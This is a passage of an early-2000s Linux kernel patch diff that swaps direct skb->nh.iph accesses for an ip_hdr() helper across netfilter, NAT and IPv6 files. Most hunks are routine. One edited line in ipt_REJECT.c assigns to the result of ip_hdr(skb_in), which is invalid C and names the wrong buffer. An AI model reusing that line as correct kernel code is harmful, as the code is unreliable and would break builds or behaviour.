traversal */ READ_LOCK(&ip_conntrack_lock); @@ -864,7 +864,7 @@ unsigned int hooknum, int dir) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct icmphdr *hdr = (struct icmphdr *)((u_int32_t *)iph + iph->ihl); struct iphdr *inner = (struct iphdr *)(hdr + 1); size_t datalen = skb->len - ((void *)inner - (void *)iph); ===== net/ipv4/netfilter/ip_nat_ftp.c 1.6 vs edited ===== --- 1.6/net/ipv4/netfilter/ip_nat_ftp.c Mon Aug 19 15:51:30 2002 +++ edited/net/ipv4/netfilter/ip_nat_ftp.c Mon Sep 30 19:22:22 2002 @@ -173,7 +173,7 @@ struct ip_conntrack_expect *expect) { u_int32_t newip; - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct tcphdr *tcph = (void *)iph + iph->ihl*4; u_int16_t port; struct ip_conntrack_tuple newtuple; @@ -232,7 +232,7 @@ unsigned int hooknum, struct sk_buff **pskb) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct tcphdr *tcph = (void *)iph + iph->ihl*4; unsigned int datalen; int dir; ===== net/ipv4/netfilter/ip_nat_helper.c 1.6 vs edited ===== --- 1.6/net/ipv4/netfilter/ip_nat_helper.c Sun Sep 1 03:08:16 2002 +++ edited/net/ipv4/netfilter/ip_nat_helper.c Mon Sep 30 19:22:22 2002 @@ -59,7 +59,7 @@ DEBUGP("ip_nat_resize_packet: old_size = %u, new_size = %u\n", (*skb)->len, new_size); - iph = (*skb)->nh.iph; + iph = ip_hdr(*skb); tcph = (void *)iph + iph->ihl*4; data = (void *)tcph + tcph->doff*4; @@ -83,7 +83,7 @@ } } - iph = (*skb)->nh.iph; + iph = ip_hdr(*skb); tcph = (void *)iph + iph->ihl*4; data = (void *)tcph + tcph->doff*4; @@ -129,7 +129,7 @@ char *rep_buffer, unsigned int rep_len) { - struct iphdr *iph = (*skb)->nh.iph; + struct iphdr *iph = ip_hdr(*skb); struct tcphdr *tcph; unsigned char *data; u_int32_t tcplen, newlen, newtcplen; @@ -170,7 +170,7 @@ } /* skb may be copied !! */ - iph = (*skb)->nh.iph; + iph = ip_hdr(*skb); tcph = (void *)iph + iph->ihl*4; data = (void *)tcph + tcph->doff*4; @@ -261,12 +261,11 @@ struct ip_conntrack *ct, enum ip_conntrack_info ctinfo) { - struct iphdr *iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *tcph; unsigned char *ptr; int length, dir, sack_adjusted = 0; - iph = skb->nh.iph; tcph = (void *)iph + iph->ihl*4; length = (tcph->doff*4)-sizeof(struct tcphdr); ptr = (unsigned char *)(tcph+1); @@ -311,12 +310,11 @@ struct ip_conntrack *ct, enum ip_conntrack_info ctinfo) { - struct iphdr *iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *tcph; int dir, newseq, newack; struct ip_nat_seq *this_way, *other_way; - iph = skb->nh.iph; tcph = (void *)iph + iph->ihl*4; dir = CTINFO2DIR(ctinfo); ===== net/ipv4/netfilter/ip_nat_irc.c 1.3 vs edited ===== --- 1.3/net/ipv4/netfilter/ip_nat_irc.c Tue Mar 26 20:16:27 2002 +++ edited/net/ipv4/netfilter/ip_nat_irc.c Mon Sep 30 19:22:22 2002 @@ -97,7 +97,7 @@ { u_int32_t newip; struct ip_conntrack_tuple t; - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct tcphdr *tcph = (void *) iph + iph->ihl * 4; int port; @@ -161,7 +161,7 @@ unsigned int hooknum, struct sk_buff **pskb) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct tcphdr *tcph = (void *) iph + iph->ihl * 4; unsigned int datalen; int dir; ===== net/ipv4/netfilter/ip_nat_snmp_basic.c 1.4 vs edited ===== --- 1.4/net/ipv4/netfilter/ip_nat_snmp_basic.c Mon Aug 19 15:51:30 2002 +++ edited/net/ipv4/netfilter/ip_nat_snmp_basic.c Mon Sep 30 19:22:22 2002 @@ -1207,7 +1207,7 @@ unsigned int hooknum, struct sk_buff **pskb) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct udphdr *udph = (struct udphdr *)((u_int32_t *)iph + iph->ihl); u_int16_t udplen = ntohs(udph->len); u_int16_t paylen = udplen - sizeof(struct udphdr); @@ -1250,7 +1250,7 @@ struct sk_buff **pskb) { int dir = CTINFO2DIR(ctinfo); - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct udphdr *udph = (struct udphdr *)((u_int32_t *)iph + iph->ihl); spin_lock_bh(&snmp_lock); ===== net/ipv4/netfilter/ip_nat_standalone.c 1.13 vs edited ===== --- 1.13/net/ipv4/netfilter/ip_nat_standalone.c Tue Mar 26 20:16:27 2002 +++ edited/net/ipv4/netfilter/ip_nat_standalone.c Mon Sep 30 19:22:22 2002 @@ -74,8 +74,7 @@ /* We never see fragments: conntrack defrags on pre-routing and local-out, and ip_nat_out protects post-routing. */ - IP_NF_ASSERT(!((*pskb)->nh.iph->frag_off - & __constant_htons(IP_MF|IP_OFFSET))); + IP_NF_ASSERT(!(ip_hdr(*pskb)->frag_off & htons(IP_MF | IP_OFFSET))); (*pskb)->nfcache |= NFC_UNKNOWN; @@ -92,7 +91,7 @@ /* Exception: ICMP redirect to new connection (not in hash table yet). We must not let this through, in case we're doing NAT to the same network. */ - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct icmphdr *hdr = (struct icmphdr *) ((u_int32_t *)iph + iph->ihl); if (iph->protocol == IPPROTO_ICMP @@ -104,7 +103,7 @@ switch (ctinfo) { case IP_CT_RELATED: case IP_CT_RELATED+IP_CT_IS_REPLY: - if ((*pskb)->nh.iph->protocol == IPPROTO_ICMP) { + if (ip_hdr(*pskb)->protocol == IPPROTO_ICMP) { return icmp_reply_translation(*pskb, ct, hooknum, CTINFO2DIR(ctinfo)); } @@ -173,7 +172,7 @@ { /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) + || ip_hdr(*pskb)->ihl * 4 < sizeof(struct iphdr)) return NF_ACCEPT; /* We can hit fragment here; forwarded packets get @@ -186,7 +185,7 @@ I'm starting to have nightmares about fragments. */ - if ((*pskb)->nh.iph->frag_off & __constant_htons(IP_MF|IP_OFFSET)) { + if (ip_hdr(*pskb)->frag_off & htons(IP_MF | IP_OFFSET)) { *pskb = ip_ct_gather_frags(*pskb); if (!*pskb) @@ -208,16 +207,16 @@ /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) + || ip_hdr(*pskb)->ihl * 4 < sizeof(struct iphdr)) return NF_ACCEPT; - saddr = (*pskb)->nh.iph->saddr; - daddr = (*pskb)->nh.iph->daddr; + saddr = ip_hdr(*pskb)->saddr; + daddr = ip_hdr(*pskb)->daddr; ret = ip_nat_fn(hooknum, pskb, in, out, okfn); if (ret != NF_DROP && ret != NF_STOLEN - && ((*pskb)->nh.iph->saddr != saddr - || (*pskb)->nh.iph->daddr != daddr)) + && (ip_hdr(*pskb)->saddr != saddr + || ip_hdr(*pskb)->daddr != daddr)) return ip_route_me_harder(pskb) == 0 ? ret : NF_DROP; return ret; } ===== net/ipv4/netfilter/ip_queue.c 1.8 vs edited ===== --- 1.8/net/ipv4/netfilter/ip_queue.c Tue Jul 23 00:15:20 2002 +++ edited/net/ipv4/netfilter/ip_queue.c Mon Sep 30 19:22:22 2002 @@ -286,7 +286,7 @@ entry->skb = skb; if (entry->info->hook == NF_IP_LOCAL_OUT) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); entry->rt_info.tos = iph->tos; entry->rt_info.daddr = iph->daddr; @@ -362,7 +362,7 @@ * returns control to the table. */ if (e->info->hook == NF_IP_LOCAL_OUT) { - struct iphdr *iph = e->skb->nh.iph; + struct iphdr *iph = ip_hdr(e->skb); if (!(iph->tos == e->rt_info.tos && iph->daddr == e->rt_info.daddr ===== net/ipv4/netfilter/ip_tables.c 1.9 vs edited ===== --- 1.9/net/ipv4/netfilter/ip_tables.c Wed Aug 28 04:53:27 2002 +++ edited/net/ipv4/netfilter/ip_tables.c Mon Sep 30 19:22:22 2002 @@ -272,7 +272,7 @@ struct ipt_entry *e, *back; /* Initialization */ - ip = (*pskb)->nh.iph; + ip = ip_hdr(*pskb); protohdr = (u_int32_t *)ip + ip->ihl; datalen = (*pskb)->len - ip->ihl * 4; indev = in ? in->name : nulldevname; @@ -377,7 +377,7 @@ = 0x57acc001; #endif /* Target might have changed stuff. */ - ip = (*pskb)->nh.iph; + ip = ip_hdr(*pskb); protohdr = (u_int32_t *)ip + ip->ihl; datalen = (*pskb)->len - ip->ihl * 4; ===== net/ipv4/netfilter/ipt_DSCP.c 1.1 vs edited ===== --- 1.1/net/ipv4/netfilter/ipt_DSCP.c Mon Aug 19 15:48:13 2002 +++ edited/net/ipv4/netfilter/ipt_DSCP.c Mon Sep 30 19:22:22 2002 @@ -29,7 +29,7 @@ const void *targinfo, void *userinfo) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); const struct ipt_DSCP_info *dinfo = targinfo; u_int8_t sh_dscp = ((dinfo->dscp << IPT_DSCP_SHIFT) & IPT_DSCP_MASK); @@ -45,7 +45,7 @@ return NF_DROP; kfree_skb(*pskb); *pskb = nskb; - iph = (*pskb)->nh.iph; + iph = ip_hdr(*pskb); } diffs[0] = htons(iph->tos) ^ 0xFFFF; ===== net/ipv4/netfilter/ipt_ECN.c 1.1 vs edited ===== --- 1.1/net/ipv4/netfilter/ipt_ECN.c Mon Aug 19 15:48:13 2002 +++ edited/net/ipv4/netfilter/ipt_ECN.c Mon Sep 30 19:22:22 2002 @@ -38,7 +38,7 @@ return NF_DROP; kfree_skb(*pskb); *pskb = nskb; - iph = (*pskb)->nh.iph; + iph = ip_hdr(*pskb); } diffs[0] = htons(iph->tos) ^ 0xFFFF; @@ -72,7 +72,7 @@ return NF_DROP; kfree_skb(*pskb); *pskb = nskb; - iph = (*pskb)->nh.iph; + iph = ip_hdr(*pskb); } diffs[0] = *tcpflags; @@ -109,7 +109,7 @@ const void *targinfo, void *userinfo) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); const struct ipt_ECN_info *einfo = targinfo; if (einfo->operation & IPT_ECN_OP_SET_IP) ===== net/ipv4/netfilter/ipt_LOG.c 1.4 vs edited ===== --- 1.4/net/ipv4/netfilter/ipt_LOG.c Tue Feb 5 13:24:40 2002 +++ edited/net/ipv4/netfilter/ipt_LOG.c Mon Sep 30 19:22:22 2002 @@ -278,7 +278,7 @@ const void *targinfo, void *userinfo) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); const struct ipt_log_info *loginfo = targinfo; char level_string[4] = "< >"; ===== net/ipv4/netfilter/ipt_MASQUERADE.c 1.5 vs edited ===== --- 1.5/net/ipv4/netfilter/ipt_MASQUERADE.c Tue Feb 5 05:49:27 2002 +++ edited/net/ipv4/netfilter/ipt_MASQUERADE.c Mon Sep 30 19:22:22 2002 @@ -84,9 +84,9 @@ mr = targinfo; - key.dst = (*pskb)->nh.iph->daddr; + key.dst = ip_hdr(*pskb)->daddr; key.src = 0; /* Unknown: that's what we're trying to establish */ - key.tos = RT_TOS((*pskb)->nh.iph->tos)|RTO_CONN; + key.tos = RT_TOS(ip_hdr(*pskb)->tos) | RTO_CONN; key.oif = out->ifindex; #ifdef CONFIG_IP_ROUTE_FWMARK key.fwmark = (*pskb)->nfmark; ===== net/ipv4/netfilter/ipt_MIRROR.c 1.3 vs edited ===== --- 1.3/net/ipv4/netfilter/ipt_MIRROR.c Tue Feb 5 13:23:43 2002 +++ edited/net/ipv4/netfilter/ipt_MIRROR.c Mon Sep 30 19:22:22 2002 @@ -43,7 +43,7 @@ static int route_mirror(struct sk_buff *skb) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct rtable *rt; /* Backwards */ @@ -67,7 +67,7 @@ static void ip_rewrite(struct sk_buff *skb) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); u32 odaddr = iph->saddr; u32 osaddr = iph->daddr; @@ -113,7 +113,7 @@ /* If we are not at FORWARD hook (INPUT/PREROUTING), * the TTL isn't decreased by the IP stack */ if (hooknum != NF_IP_FORWARD) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); if (iph->ttl <= 1) { /* this will traverse normal stack, and * thus call conntrack on the icmp packet */ ===== net/ipv4/netfilter/ipt_REJECT.c 1.8 vs edited ===== --- 1.8/net/ipv4/netfilter/ipt_REJECT.c Mon Aug 19 15:51:30 2002 +++ edited/net/ipv4/netfilter/ipt_REJECT.c Mon Sep 30 19:22:22 2002 @@ -36,6 +36,7 @@ static void send_reset(struct sk_buff *oldskb, int local) { struct sk_buff *nskb; + struct iphdr *iph, *oiph = ip_hdr(oldskb); struct tcphdr *otcph, *tcph; struct rtable *rt; unsigned int otcplen; @@ -44,21 +45,20 @@ int needs_ack; /* IP header checks: fragment, too short. */ - if (oldskb->nh.iph->frag_off & htons(IP_OFFSET) - || oldskb->len < (oldskb->nh.iph->ihl<<2) + sizeof(struct tcphdr)) + if (oiph->frag_off & htons(IP_OFFSET) || + oldskb->len < (oiph->ihl << 2) + sizeof(struct tcphdr)) return; - otcph = (struct tcphdr *)((u_int32_t*)oldskb->nh.iph + oldskb->nh.iph->ihl); - otcplen = oldskb->len - oldskb->nh.iph->ihl*4; + otcph = (struct tcphdr *)((u_int32_t*)oiph + oiph->ihl); + otcplen = oldskb->len - oiph->ihl * 4; /* No RST for RST. */ if (otcph->rst) return; /* Check checksum. */ - if (tcp_v4_check(otcph, otcplen, oldskb->nh.iph->saddr, - oldskb->nh.iph->daddr, - csum_partial((char *)otcph, otcplen, 0)) != 0) + if (tcp_v4_check(otcph, otcplen, oiph->saddr, oiph->daddr, + csum_partial((char *)otcph, otcplen, 0))) return; /* Copy skb (even if skb is about to be dropped, we can't just @@ -77,20 +77,21 @@ #endif nskb->nfmark = 0; - tcph = (struct tcphdr *)((u_int32_t*)nskb->nh.iph + nskb->nh.iph->ihl); + iph = ip_hdr(nskb); + tcph = (struct tcphdr *)((u_int32_t*)iph + iph->ihl); /* Swap source and dest */ - tmp_addr = nskb->nh.iph->saddr; - nskb->nh.iph->saddr = nskb->nh.iph->daddr; - nskb->nh.iph->daddr = tmp_addr; + tmp_addr = iph->saddr; + iph->saddr = iph->daddr; + iph->daddr = tmp_addr; tmp_port = tcph->source; tcph->source = tcph->dest; tcph->dest = tmp_port; /* Truncate to length (no data) */ - tcph->doff = sizeof(struct tcphdr)/4; - skb_trim(nskb, nskb->nh.iph->ihl*4 + sizeof(struct tcphdr)); - nskb->nh.iph->tot_len = htons(nskb->len); + tcph->doff = sizeof(*tcph) / 4; + skb_trim(nskb, iph->ihl * 4 + sizeof(*tcph)); + iph->tot_len = htons(nskb->len); if (tcph->ack) { needs_ack = 0; @@ -113,28 +114,22 @@ /* Adjust TCP checksum */ tcph->check = 0; - tcph->check = tcp_v4_check(tcph, sizeof(struct tcphdr), - nskb->nh.iph->saddr, - nskb->nh.iph->daddr, - csum_partial((char *)tcph, - sizeof(struct tcphdr), 0)); + tcph->check = tcp_v4_check(tcph, sizeof(*tcph), iph->saddr, iph->daddr, + csum_partial((char *)tcph, sizeof(*tcph), 0)); /* Adjust IP TTL, DF */ - nskb->nh.iph->ttl = MAXTTL; + iph->ttl = MAXTTL; /* Set DF, id = 0 */ - nskb->nh.iph->frag_off = htons(IP_DF); - nskb->nh.iph->id = 0; + iph->frag_off = htons(IP_DF); + iph->id = 0; /* Adjust IP checksum */ - nskb->nh.iph->check = 0; - nskb->nh.iph->check = ip_fast_csum((unsigned char *)nskb->nh.iph, - nskb->nh.iph->ihl); + iph->check = 0; + iph->check = ip_fast_csum((unsigned char *)iph, iph->ihl); /* Routing: if not headed for us, route won't like source */ - if (ip_route_output(&rt, nskb->nh.iph->daddr, - local ? nskb->nh.iph->saddr : 0, - RT_TOS(nskb->nh.iph->tos) | RTO_CONN, - 0) != 0) + if (ip_route_output(&rt, iph->daddr, local ? iph->saddr : 0, + RT_TOS(iph->tos) | RTO_CONN, 0)) goto free_nskb; dst_release(nskb->dst); @@ -172,7 +167,7 @@ if (!xrlim_allow(&rt->u.dst, 1*HZ)) return; - iph = skb_in->nh.iph; + iph = ip_hdr(skb_in); /* No replies to physical multicast/broadcast */ if (skb_in->pkt_type!=PACKET_HOST) @@ -231,8 +226,7 @@ skb_reserve(nskb, hh_len); /* Set up IP header */ - iph = nskb->nh.iph - = (struct iphdr *)skb_put(nskb, sizeof(struct iphdr)); + iph = ip_hdr(skb_in) = (struct iphdr *)skb_put(nskb, sizeof(*iph)); iph->version=4; iph->ihl=5; iph->tos=tos; @@ -261,10 +255,9 @@ data = skb_put(nskb, length - sizeof(struct iphdr) - sizeof(struct icmphdr)); /* FIXME: won't work with nonlinear skbs --RR */ - memcpy(data, skb_in->nh.iph, - length - sizeof(struct iphdr) - sizeof(struct icmphdr)); + memcpy(data, ip_hdr(skb_in), length - sizeof(*iph) - sizeof(*icmph)); icmph->checksum = ip_compute_csum((unsigned char *)icmph, - length - sizeof(struct iphdr)); + length - sizeof(*iph)); connection_attach(nskb, skb_in->nfct); @@ -283,7 +276,7 @@ /* Our naive response construction doesn't deal with IP options, and probably shouldn't try. */ - if ((*pskb)->nh.iph->ihl<<2 != sizeof(struct iphdr)) + if (ip_hdr(*pskb)->ihl << 2 != sizeof(struct iphdr)) return NF_DROP; /* WARNING: This code causes reentry within iptables. ===== net/ipv4/netfilter/ipt_TCPMSS.c 1.5 vs edited ===== --- 1.5/net/ipv4/netfilter/ipt_TCPMSS.c Tue Feb 5 13:23:43 2002 +++ edited/net/ipv4/netfilter/ipt_TCPMSS.c Mon Sep 30 19:22:22 2002 @@ -59,7 +59,7 @@ *pskb = nskb; } - iph = (*pskb)->nh.iph; + iph = ip_hdr(*pskb); tcplen = (*pskb)->len - iph->ihl*4; tcph = (void *)iph + iph->ihl*4; @@ -119,9 +119,9 @@ DEBUGP(KERN_INFO "ipt_tcpmss_target: %u.%u.%u.%u:%hu" "->%u.%u.%u.%u:%hu changed TCP MSS option" " (from %u to %u)\n", - NIPQUAD((*pskb)->nh.iph->saddr), + NIPQUAD(ip_hdr(*pskb)->saddr), ntohs(tcph->source), - NIPQUAD((*pskb)->nh.iph->daddr), + NIPQUAD(ip_hdr(*pskb)->daddr), ntohs(tcph->dest), oldmss, newmss); goto retmodified; @@ -145,7 +145,7 @@ kfree_skb(*pskb); *pskb = newskb; - iph = (*pskb)->nh.iph; + iph = ip_hdr(*pskb); tcph = (void *)iph + iph->ihl*4; } @@ -177,9 +177,9 @@ DEBUGP(KERN_INFO "ipt_tcpmss_target: %u.%u.%u.%u:%hu" "->%u.%u.%u.%u:%hu added TCP MSS option (%u)\n", - NIPQUAD((*pskb)->nh.iph->saddr), + NIPQUAD(ip_hdr(*pskb)->saddr), ntohs(tcph->source), - NIPQUAD((*pskb)->nh.iph->daddr), + NIPQUAD(ip_hdr(*pskb)->daddr), ntohs(tcph->dest), newmss); ===== net/ipv4/netfilter/ipt_TOS.c 1.6 vs edited ===== --- 1.6/net/ipv4/netfilter/ipt_TOS.c Tue Feb 5 13:23:43 2002 +++ edited/net/ipv4/netfilter/ipt_TOS.c Mon Sep 30 19:22:22 2002 @@ -15,7 +15,7 @@ const void *targinfo, void *userinfo) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); const struct ipt_tos_target_info *tosinfo = targinfo; if ((iph->tos & IPTOS_TOS_MASK) != tosinfo->tos) { @@ -29,7 +29,7 @@ return NF_DROP; kfree_skb(*pskb); *pskb = nskb; - iph = (*pskb)->nh.iph; + iph = ip_hdr(*pskb); } diffs[0] = htons(iph->tos) ^ 0xFFFF; ===== net/ipv4/netfilter/ipt_ULOG.c 1.5 vs edited ===== --- 1.5/net/ipv4/netfilter/ipt_ULOG.c Sun Sep 22 03:24:37 2002 +++ edited/net/ipv4/netfilter/ipt_ULOG.c Mon Sep 30 19:22:22 2002 @@ -220,7 +220,7 @@ *(pm->prefix) = '\0'; if (in && in->hard_header_len > 0 - && (*pskb)->mac.raw != (void *) (*pskb)->nh.iph + && (*pskb)->mac.raw != (void *)ip_hdr(*pskb) && in->hard_header_len <= ULOG_MAC_LEN) { memcpy(pm->mac, (*pskb)->mac.raw, in->hard_header_len); pm->mac_len = in->hard_header_len; ===== net/ipv4/netfilter/ipt_dscp.c 1.1 vs edited ===== --- 1.1/net/ipv4/netfilter/ipt_dscp.c Mon Aug 19 15:48:13 2002 +++ edited/net/ipv4/netfilter/ipt_dscp.c Mon Sep 30 19:22:22 2002 @@ -23,7 +23,7 @@ int *hotdrop) { const struct ipt_dscp_info *info = matchinfo; - const struct iphdr *iph = skb->nh.iph; + const struct iphdr *iph = ip_hdr(skb); u_int8_t sh_dscp = ((info->dscp << IPT_DSCP_SHIFT) & IPT_DSCP_MASK); ===== net/ipv4/netfilter/ipt_ecn.c 1.1 vs edited ===== --- 1.1/net/ipv4/netfilter/ipt_ecn.c Mon Aug 19 15:48:13 2002 +++ edited/net/ipv4/netfilter/ipt_ecn.c Mon Sep 30 19:22:22 2002 @@ -60,7 +60,7 @@ int *hotdrop) { const struct ipt_ecn_info *info = matchinfo; - const struct iphdr *iph = skb->nh.iph; + const struct iphdr *iph = ip_hdr(skb); if (info->operation & IPT_ECN_OP_MATCH_IP) if (!match_ip(skb, iph, info)) ===== net/ipv4/netfilter/ipt_length.c 1.1 vs edited ===== --- 1.1/net/ipv4/netfilter/ipt_length.c Tue Feb 5 05:54:00 2002 +++ edited/net/ipv4/netfilter/ipt_length.c Mon Sep 30 19:22:22 2002 @@ -20,7 +20,7 @@ int *hotdrop) { const struct ipt_length_info *info = matchinfo; - u_int16_t pktlen = ntohs(skb->nh.iph->tot_len); + u_int16_t pktlen = ntohs(ip_hdr(skb)->tot_len); return (pktlen >= info->min && pktlen <= info->max) ^ info->invert; } ===== net/ipv4/netfilter/ipt_tcpmss.c 1.2 vs edited ===== --- 1.2/net/ipv4/netfilter/ipt_tcpmss.c Tue Feb 5 05:49:27 2002 +++ edited/net/ipv4/netfilter/ipt_tcpmss.c Mon Sep 30 19:22:22 2002 @@ -53,10 +53,10 @@ int *hotdrop) { const struct ipt_tcpmss_match_info *info = matchinfo; - const struct tcphdr *tcph = (void *)skb->nh.iph + skb->nh.iph->ihl*4; + const struct tcphdr *tcph = (void *)ip_hdr(skb) + ip_hdr(skb)->ihl * 4; return mssoption_match(info->mss_min, info->mss_max, tcph, - skb->len - skb->nh.iph->ihl*4, + skb->len - ip_hdr(skb)->ihl * 4, info->invert, hotdrop); } ===== net/ipv4/netfilter/ipt_tos.c 1.2 vs edited ===== --- 1.2/net/ipv4/netfilter/ipt_tos.c Tue Feb 5 05:49:27 2002 +++ edited/net/ipv4/netfilter/ipt_tos.c Mon Sep 30 19:22:22 2002 @@ -16,7 +16,7 @@ int *hotdrop) { const struct ipt_tos_info *info = matchinfo; - const struct iphdr *iph = skb->nh.iph; + const struct iphdr *iph = ip_hdr(skb); return (iph->tos == info->tos) ^ info->invert; } ===== net/ipv4/netfilter/ipt_ttl.c 1.1 vs edited ===== --- 1.1/net/ipv4/netfilter/ipt_ttl.c Tue Feb 5 05:54:00 2002 +++ edited/net/ipv4/netfilter/ipt_ttl.c Mon Sep 30 19:22:22 2002 @@ -23,7 +23,7 @@ int *hotdrop) { const struct ipt_ttl_info *info = matchinfo; - const struct iphdr *iph = skb->nh.iph; + const struct iphdr *iph = ip_hdr(skb); switch (info->mode) { case IPT_TTL_EQ: ===== net/ipv4/netfilter/ipt_unclean.c 1.6 vs edited ===== --- 1.6/net/ipv4/netfilter/ipt_unclean.c Sun Sep 22 03:24:37 2002 +++ edited/net/ipv4/netfilter/ipt_unclean.c Mon Sep 30 19:22:22 2002 @@ -554,7 +554,7 @@ u_int16_t datalen, int *hotdrop) { - return !check_ip(skb->nh.iph, skb->len, 0); + return !check_ip(ip_hdr(skb), skb->len, 0); } /* Called when user tries to insert an entry of this type. */ ===== net/ipv4/netfilter/iptable_filter.c 1.3 vs edited ===== --- 1.3/net/ipv4/netfilter/iptable_filter.c Tue Feb 5 13:24:40 2002 +++ edited/net/ipv4/netfilter/iptable_filter.c Mon Sep 30 19:22:22 2002 @@ -105,7 +105,7 @@ { /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) { + || ip_hdr(*pskb)->ihl * 4 < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ipt_hook: happy cracking.\n"); return NF_ACCEPT; ===== net/ipv4/netfilter/iptable_mangle.c 1.7 vs edited ===== --- 1.7/net/ipv4/netfilter/iptable_mangle.c Mon Feb 11 05:21:45 2002 +++ edited/net/ipv4/netfilter/iptable_mangle.c Mon Sep 30 19:22:22 2002 @@ -136,6 +136,7 @@ const struct net_device *out, int (*okfn)(struct sk_buff *)) { + struct iphdr *iph = ip_hdr(*pskb); unsigned int ret; u_int8_t tos; u_int32_t saddr, daddr; @@ -143,7 +144,7 @@ /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) { + || iph->ihl * 4 < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ipt_hook: happy cracking.\n"); return NF_ACCEPT; @@ -151,17 +152,17 @@ /* Save things which could affect route */ nfmark = (*pskb)->nfmark; - saddr = (*pskb)->nh.iph->saddr; - daddr = (*pskb)->nh.iph->daddr; - tos = (*pskb)->nh.iph->tos; + saddr = iph->saddr; + daddr = iph->daddr; + tos = iph->tos; ret = ipt_do_table(pskb, hook, in, out, &packet_mangler, NULL); /* Reroute for ANY change. */ if (ret != NF_DROP && ret != NF_STOLEN && ret != NF_QUEUE - && ((*pskb)->nh.iph->saddr != saddr - || (*pskb)->nh.iph->daddr != daddr + && (iph->saddr != saddr + || iph->daddr != daddr || (*pskb)->nfmark != nfmark - || (*pskb)->nh.iph->tos != tos)) + || iph->tos != tos)) return ip_route_me_harder(pskb) == 0 ? ret : NF_DROP; return ret; ===== net/ipv6/datagram.c 1.4 vs edited ===== --- 1.4/net/ipv6/datagram.c Mon Feb 11 05:06:54 2002 +++ edited/net/ipv6/datagram.c Mon Sep 30 19:22:22 2002 @@ -172,9 +172,8 @@ } else { struct inet_opt *inet = inet_sk(sk); - ipv6_addr_set(&sin->sin6_addr, 0, 0, - __constant_htonl(0xffff), - skb->nh.iph->saddr); + ipv6_addr_set(&sin->sin6_addr, 0, 0, htonl(0xffff), + ip_hdr(skb)->saddr); if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); } ===== net/ipv6/sit.c 1.12 vs edited ===== --- 1.12/net/ipv6/sit.c Fri Jul 19 03:16:20 2002 +++ edited/net/ipv6/sit.c Mon Sep 30 19:22:22 2002 @@ -389,7 +389,7 @@ if (!pskb_may_pull(skb, sizeof(struct ipv6hdr))) goto out; - iph = skb->nh.iph; + iph = ip_hdr(skb); read_lock(&ipip6_lock); if ((tunnel = ipip6_tunnel_lookup(iph->saddr, iph->daddr)) != NULL) { @@ -584,11 +584,11 @@ * Push down and install the IPIP header. */ - iph = skb->nh.iph; + iph = ip_hdr(skb); iph->version = 4; iph->ihl = sizeof(struct iphdr)>>2; if (mtu > IPV6_MIN_MTU) - iph->frag_off = __constant_htons(IP_DF); + iph->frag_off = htons(IP_DF); else iph->frag_off = 0; ===== net/ipv6/tcp_ipv6.c 1.22 vs edited ===== --- 1.22/net/ipv6/tcp_ipv6.c Thu Aug 29 05:57:05 2002 +++ edited/net/ipv6/tcp_ipv6.c Mon Sep 30 19:22:22 2002 @@ -414,8 +414,8 @@ skb->h.th->dest, skb->h.th->source); } else { - return secure_tcp_sequence_number(skb->nh.iph->daddr, - skb->nh.iph->saddr, + return secure_tcp_sequence_number(ip_hdr(skb)->daddr, + ip_hdr(skb)->saddr, skb->h.th->dest, skb->h.th->source); } ===== net/ipv6/udp.c 1.12 vs edited ===== --- 1.12/net/ipv6/udp.c Sun Sep 22 16:15:33 2002 +++ edited/net/ipv6/udp.c Mon Sep 30 19:22:22 2002 @@ -424,11 +424,11 @@ sin6->sin6_flowinfo = 0; sin6->sin6_scope_id = 0; - if (skb->protocol == __constant_htons(ETH_P_IP)) { + if (skb->protocol == htons(ETH_P_IP)) { struct inet_opt *inet = inet_sk(sk); ipv6_addr_set(&sin6->sin6_addr, 0, 0, - __constant_htonl(0xffff), skb->nh.iph->saddr); + htonl(0xffff), ip_hdr(skb)->saddr); if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); } else { ===== net/ipv6/netfilter/ip6table_filter.c 1.3 vs edited ===== --- 1.3/net/ipv6/netfilter/ip6table_filter.c Tue Feb 5 13:24:40 2002 +++ edited/net/ipv6/netfilter/ip6table_filter.c Mon Sep 30 19:22:22 2002 @@ -106,7 +106,7 @@ #if 0 /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) { + || ip_hdr(*pskb)->ihl * 4 < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ip6t_hook: happy 